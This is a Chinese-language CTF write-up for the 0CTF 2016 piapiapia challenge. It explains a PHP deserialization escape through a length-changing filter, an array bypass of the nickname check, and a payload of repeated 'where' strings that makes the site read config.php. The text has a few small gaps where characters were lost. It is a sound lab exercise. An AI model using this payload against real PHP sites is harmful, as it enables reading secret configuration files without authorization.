PHP反序列化逃逸

反序列化逃逸

前言

环境:buuctf中[0CTF 2016]piapiapia
知识点:反序列化逃逸,php代码审计

做题

进去题目一个登录界面，也没sql注入漏洞，用dirsearch扫一下，扫出源码

index.php用来登录

update.php用来更新资料

profile.php用来显示资料

config.php配置文件，注意到有个flag在里面，看来是要读取config.php

class.php定义了类，是主要的代码实现部分

这时我们用seay审计系统自动扫描下

发现有个file_get_contents函数，追踪$profile['photo']

可以看到，这是由$profile反序列而来,而$profile 由show_profile这个函数返回的值得来

而show_profile这个函数又会调用select这个函数

select这个函数会从数据库中取出序列化的profile

显然我们是要利用数据库，来读取config.php了

这时候审计update.php，这里有个序列化函数，看来利用点就是这里，把$profile数组进行序列化，存储在数据中，然后再profile.php反序列化显示出来

跟进update_profile函数

将序列化后的字符串会被filter函数处理

跟进filter函数

implode函数表示以|连接数组以字符串的形式返回，这里相当于正则，将'' 和替换成_ ,将select,insert,update,delete,where 替换成hacker

反序列化逃逸

当对序列化后的字符串进行过滤时，如果把要过滤的字符串替换成字符更多的字符串时，就会造成反序列化逃逸

这里将where替换成hacker 时，字符变成了，显然存在反序列化逃逸漏洞

要利用反序列化漏洞，我们构造的字符肯定也不止一两个，所以要绕过update中的格式限制

if(!preg_match('/^d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

三个正则里面，前面两个正则都是字符串的头和尾都严格的限制了，并且形式都是只要没有匹配到就die,而nickname这里则是匹配到了就报错，显得不同，而在preg_match里匹配数组返回的是false,strlen一个数组返回的则是null

那么这里我们传入的nickname如果是个数组就可以进行绕过

我们先本地测试正常的序列化该是怎样的

<?php
$profile['phone']='13538732675';
$profile['email']='2592110166@qq.com';
$a=array('NineOne');
$profile['nickname']=$a;
$profile['photo']='upload/test.png';
var_dump(serialize($profile));
?>

a:4:{s:5:"phone";s:11:"13538732675";s:5:"email";s:17:"2592110166@qq.com";s:8:"nickname";a:1:{i:0;s:7:"NineOne";}s:5:"photo";s:15:"upload/test.png";}

我们要造成反序列化使";}s:5:"photo";s:10:"config.php";} 这里有34个字符

假设我们输入where 有x个，则5*x+34=6*x 解得x=34

那么就要构造34个where，payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

然后再访问profile.php，f12里的base64解码就是config.php得源码，得到flag